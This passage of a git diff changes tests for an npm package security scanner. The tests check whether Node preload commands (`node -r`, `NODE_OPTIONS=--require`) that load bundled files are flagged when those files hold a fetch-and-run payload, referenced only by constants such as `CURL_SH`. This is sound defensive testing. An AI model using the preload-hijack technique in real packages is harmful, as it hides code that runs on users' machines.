hook of ["node -r buffer -v", "NODE_OPTIONS=--require=util node -v", "node -r node:events -v", "node -r fs/promises -v"]) { + const files: Record = { + "package/node_modules/buffer/index.js": dangerous, "package/node_modules/util/index.js": dangerous, + "package/node_modules/events/index.js": dangerous, "package/node_modules/fs/promises.js": dangerous, + }; + assert.ok(!sev(hook, files).includes("critical"), hook); + } + }); +}); + +describe("only exact built-in names skip bundled resolution", () => { + test("`-r buffer/evil` resolves the bundled file Node actually loads", () => { + assert.ok(sev("node -r buffer/evil -v", { "package/node_modules/buffer/evil.js": `${CURL_SH}\n` }).includes("critical")); + }); +}); diff --git a/packages/core/test/security-rule-robustness-10.test.ts b/packages/core/test/security-rule-robustness-10.test.ts index 8b54b4e..2b05864 100644 --- a/packages/core/test/security-rule-robustness-10.test.ts +++ b/packages/core/test/security-rule-robustness-10.test.ts @@ -33,7 +33,7 @@ describe("the suffix fallback does not match bare command words or module specif ["node-gyp rebuild", { "package/lib/node-gyp.js": payload }], ["npm run build", { "package/node_modules/npm/lib/npm.js": payload }], ["echo done", { "package/vendor/shelljs/src/echo.js": payload }], - ["node -r dotenv/config setup.js", { "package/node_modules/dotenv/config.js": payload, "package/setup.js": "console.log(1)\n" }], + ["node -r dotenv/config setup.js", { "package/lib/dotenv/config.js": payload, "package/setup.js": "console.log(1)\n" }], ]; for (const [cmd, files] of rows) { test(`\`${cmd}\` stays non-critical`, () => { @@ -106,7 +106,8 @@ describe("a preload path inside an environment assignment", () => { test("`NODE_OPTIONS=--require=./hook.js node -v` scans hook.js", () => { assert.equal(crit({ "package/hook.js": `${CURL_SH}\n` }, "NODE_OPTIONS=--require=./hook.js node -v").length, 1); }); - test("a bare specifier in NODE_OPTIONS is a node_modules module, not a package script", () => { - assert.equal(crit({ "package/node_modules/x/hook.js": `${CURL_SH}\n` }, "NODE_OPTIONS=--require=x/hook.js node -v").length, 0); + test("a bare specifier in NODE_OPTIONS resolves inside the tarball only: a benign bundled module is clean, an unshipped one resolves nothing", () => { + assert.equal(crit({ "package/node_modules/x/hook.js": "module.exports = 1\n" }, "NODE_OPTIONS=--require=x/hook.js node -v").length, 0); + assert.equal(crit({ "package/lib/x/hook.js": `${CURL_SH}\n` }, "NODE_OPTIONS=--require=x/hook.js node -v").length, 0); }); });